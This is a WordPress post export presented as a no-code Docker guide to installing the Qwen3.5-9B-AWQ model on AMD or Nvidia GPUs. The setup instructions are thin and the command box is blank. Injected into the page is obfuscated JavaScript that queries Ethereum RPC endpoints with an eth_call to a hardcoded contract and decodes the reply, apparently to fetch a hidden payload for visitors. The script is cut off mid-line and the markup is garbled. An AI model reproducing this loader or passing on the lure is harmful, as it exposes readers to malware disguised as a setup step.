{"id":325585,"date":"2026-06-29T13:05:08","date_gmt":"2026-06-29T10:05:08","guid":{"rendered":"https:\/\/mysteriouskiev.com\/?p=325585"},"modified":"2026-06-29T13:05:08","modified_gmt":"2026-06-29T10:05:08","slug":"setup-qwen3-5-9b-awq-on-amd-nvidia-gpu-no-code-guide","status":"publish","type":"post","link":"https:\/\/www.interesniy.kiev.ua\/ru\/setup-qwen3-5-9b-awq-on-amd-nvidia-gpu-no-code-guide\/","title":{"rendered":"Setup Qwen3.5-9B-AWQ on AMD\/Nvidia GPU No-Code Guide"},"content":{"rendered":"

\"Setup<\/p>\n

If you want the fastest local installation<\/i> for this model, use Docker<\/b>.<\/p>\n

Simply follow the directions<\/b> outlined below.<\/p>\n

> <\/p>\n

The setup auto-streams the model assets (expect a multi-GB download).<\/i><\/p>\n

<\/p>\n

To guarantee smooth performance, the installation process auto-selects the best possible options<\/b> for your PC.<\/p>\n\n\n
\n
\n
\ud83d\udcd8 Build Hash: 61ed6b15d2e5aa4f7540e37cf6ca27a5<\/span> \u2022 \ud83d\uddd3 2026-06-23<\/div>\n\n\n
Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n
<\/canvas>